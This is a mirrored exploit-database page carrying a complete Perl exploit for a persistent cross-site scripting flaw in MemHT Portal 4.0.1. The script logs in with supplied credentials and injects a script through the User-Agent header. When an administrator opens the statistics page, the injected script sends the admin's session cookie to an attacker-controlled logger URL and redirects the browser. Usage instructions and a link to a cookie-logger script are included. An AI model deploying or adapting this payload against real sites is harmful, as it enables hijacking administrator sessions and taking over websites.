Home / os / win7

[webapps / 0day] - MemHT Portal 4.0.1 [user agent] Persisten

Posted on 27 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MemHT Portal 4.0.1 [user agent] Persistent Cross Site Scripting | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MemHT Portal 4.0.1 [user agent] Persistent Cross Site Scripting by ZonTa in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===============================================================
MemHT Portal 4.0.1 [user agent] Persistent Cross Site Scripting
===============================================================

#!/usr/bin/perl
# MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability [user agent]
# by ZonTa - zontahackers[at]gmail[dot]com
#
# After successful inject wait for the admin to view statistic page.
# Fix is available : http://www.memht.com/news_149_MemHT-Portal-4-0-2.html
 
use Getopt::Std;
use Digest::MD5(&#039;md5_hex&#039;);
use LWP::UserAgent;
 
my ($host,$id,$username,$password,$logger) = @ARGV;
  
my $http = new LWP::UserAgent;
my $u_agent = &quot;]&quot;&lt;/td&gt;&lt;/tr&gt;&lt;BODY ONLOAD=document.location=&quot;http://$logger?cookie=&quot;+document.cookie+&quot;&amp;redirect=http://$host&quot;&gt;&quot;;
my $cookies = &quot;login_user=$id#&quot;.md5_hex($username).&quot;#&quot;.md5_hex($password);
 
Main::Exploit();
 
package Main;
 
sub Exploit
{   
    if (@ARGV != 5) {
        Main::Usage();
    }
    else {
        HTTP::UserAgent($u_agent);
        MemHT::Login();    
    }   
}   
 
sub Usage {
  
return print &lt;&lt;EOF;
+-------------------------------------------------------------------+
| MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability  |
+-------------------------[user agent]------------------------------+
 
by ZonTa - zontahackers[at]gmail[dot]com
  
Usage: perl exploit.pl host/path userId user pass logger[OPTIONS]
 
host: target host and memht path
userId: user id
user: valid username
pass: valid password
logger: PHP loging file
   
Example:
perl exploit.pl localhost/memht 2 foo secret 192.168.1.5/logger.php
 
Download Logger.php -&gt; http://pastebin.com/K6E9AWrC
 
EOF
}
 
package MemHT;     
         
sub Login
{
    HTTP::Cookies($cookies);
    my $response = HTTP::GET($host.&#039;/index.php?page=pvtmsg&amp;op=newMessage&#039;);
      
    if ($response-&gt;content =~ /access denied/i) {
        print &quot;Login Failed!
&quot;;
        exit;
    }
    else {
        print &quot;Logged In!
&quot;;
        print &quot;XSS injected !&quot;;
         
    }  
}
 
package HTTP;
 
sub UserAgent
{
    return $http-&gt;agent($_[0]);
}
 
sub Cookies
{
    return $http-&gt;default_header(&#039;Cookie&#039; =&gt; $_[0]);
}
  
sub GET
{   
    if ($_[0] !~ m{^http://(.+?)$}i) {
        return $http-&gt;get(&#039;http://&#039;.$_[0]);
    }   
    else {
        return $http-&gt;get($_[0]);
    }   
}
      
sub POST
{  
    if ($_[0] !~ m{^http://(.+?)$}i) {
        return $http-&gt;post(&#039;http://&#039;.$_[0]);
    }   
    else {
        return $http-&gt;post($_[0]);
    }   
}
      
sub http_header
{
    return $http-&gt;default_header($_[0]);
} 
 
# Greetz to Sri Lankans


# <a href='http://1337db.com/'>1337db.com</a> [2010-11-27]</pre></body></html>

 

TOP

Malware :

Exploits :